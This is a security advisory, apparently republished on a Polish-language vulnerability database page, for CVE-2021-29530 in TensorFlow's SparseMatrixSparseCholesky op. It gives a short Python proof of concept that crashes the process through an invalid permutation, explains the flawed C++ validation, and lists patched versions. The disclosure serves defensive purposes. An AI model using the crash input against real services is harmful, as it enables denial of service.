Invalid validation in `SparseMatrixSparseCholesky`
Impact
An attacker can trigger a null pointer dereference by providing an invalid permutation to tf.raw_ops.SparseMatrixSparseCholesky:
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops
indices_array = np.array([[0, 0]])
value_array = np.array([-10.0], dtype=np.float32)
dense_shape = [1, 1]
st = tf.SparseTensor(indices_array, value_array, dense_shape)
input = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
st.indices, st.values, st.dense_shape)
permutation = tf.constant([], shape=[1, 0], dtype=tf.int32)
tf.raw_ops.SparseMatrixSparseCholesky(input=input, permutation=permutation, type=tf.float32)This is because the implementation fails to properly validate the input arguments:
void Compute(OpKernelContext* ctx) final {
...
const Tensor& input_permutation_indices = ctx->input(1);
...
ValidateInputs(ctx, *input_matrix, input_permutation_indices, &batch_size, &num_rows);
...
}
void ValidateInputs(OpKernelContext* ctx,
const CSRSparseMatrix& sparse_matrix,
const Tensor& permutation_indices, int* batch_size,
int64* num_rows) {
OP_REQUIRES(ctx, sparse_matrix.dtype() == DataTypeToEnum<T>::value, ...)
...
}Although ValidateInputs is called and there are checks in the body of this function, the code proceeds to the next line in ValidateInputs since OP_REQUIRES is a macro that only exits the current function.
#define OP_REQUIRES(CTX, EXP, STATUS) \
do { \
if (!TF_PREDICT_TRUE(EXP)) { \
CheckNotInComputeAsync((CTX), "OP_REQUIRES_ASYNC"); \
(CTX)->CtxFailure(__FILE__, __LINE__, (STATUS)); \
return; \
} \
} while (0)Thus, the first validation condition that fails in ValidateInputs will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check context->status() or to convert ValidateInputs to return a Status.
Patches
We have patched the issue in GitHub commit e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
Odnośniki
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xcwj-wfcm-m23c
- https://github.com/tensorflow/tensorflow/commit/e6a7c7cc18c3aaad1ae0872cb0a959f5c923d2bd
- https://nvd.nist.gov/vuln/detail/CVE-2021-29530
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-458.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-656.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-167.yaml
- https://github.com/tensorflow/tensorflow
- Wektor CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Słabość (CWE)
CWE-476- Platforma
- Python (PyPI)
- Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu- Ujawniono
- 14.05.2021
- Aktualizacja
- 11.10.2026 13:19
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2021-167 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-458 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-656 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-xcwj-wfcm-m23c - CC BY 4.0
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